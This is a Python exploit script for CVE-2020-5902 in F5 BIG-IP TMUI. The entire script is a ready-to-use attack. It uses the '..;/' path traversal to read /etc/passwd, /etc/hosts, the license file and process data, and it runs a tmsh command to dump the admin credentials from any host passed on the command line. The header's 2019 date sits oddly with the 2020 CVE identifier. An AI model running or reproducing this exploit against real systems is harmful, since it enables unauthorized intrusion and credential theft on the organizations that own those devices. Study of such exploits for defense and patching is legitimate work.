# Exploit Title: F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion
# Date: 2019-08-17
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://www.f5.com/products/big-ip-services
# Version: <= 13.1.3
# Tested on: BIG-IP 13.1.3 Build 0.0.6
# CVE : CVE-2020-5902

#!/usr/bin/env python

import requests
import sys
import time
import urllib3
import json 
urllib3.disable_warnings()

global target

def checkTarget():

    r = requests.head(target + "/tmui/login.jsp", verify=False)
    if(r.status_code == 200):
        return True
    else:
        return False

def checkVuln():

    r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd", verify=False)
    if(r.status_code == 200):
        
        data = json.loads(r.text)
        if(len(data['output']) > 0):
            return True 
        else:
            return False

    else:
        return False

def leakPasswd():
    print("[+] Leaking /etc/passwd from server")
    time.sleep(2)
    exploit('/etc/passwd')


def leakHosts():
    print("[+] Leaking /etc/hosts from server")
    time.sleep(2)
    exploit('/etc/hosts')

def leakLicence():

    print("[+] Leaking /config/bigip.license from server")
    time.sleep(2)
    exploit('/config/bigip.license')

def leakAdmin():

    print("[+] Leaking admin credentials from server")
    time.sleep(2)
    r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin", verify=False)
    if(r.status_code == 200):
        
        data = json.loads(r.text)
        if(len(data['output']) > 0 ):
            print(data['output'])
        else:
            print("[X] Admin credentials not found")
    else:
        print("[X] Fail to read file")


def exploit(file):
    
    r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=" + file, verify=False)
    if(r.status_code == 200):
        data = json.loads(r.text)
        print(data['output'])
    else:
        print("[X] Fail to read file")

def memoryLeak():
    print("[!] Leaking tomcat process from server")
    time.sleep(2)        
    r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/proc/self/cmdline", verify=False)
    if(r.status_code == 200):
        data = json.loads(r.text)
        if(len(data['output'])>0):
            print("Command: " + data['output'])

def main(host):

    print("[+] Check target...")
    global target
    target = "https://" + host

    check = checkTarget()
    if(check):
        print("[~] Target is available")

        vuln = checkVuln()
        if(vuln):
            print("[+] Target is vulnerable!")

            time.sleep(1)
            print("[~] Leak information from target!")
            time.sleep(1)
            leakPasswd()
            leakHosts()
            leakLicence()
            leakAdmin()
            memoryLeak()
        else:
            print("[X] Target is't vulnerable")

    else:
        print("[x] Target is unavailable")


if __name__ == "__main__":

    if(len(sys.argv) < 2):
        print("Use: python {} ip/dns".format(sys.argv[0]))
    else:
        host = sys.argv[1]
        main(host)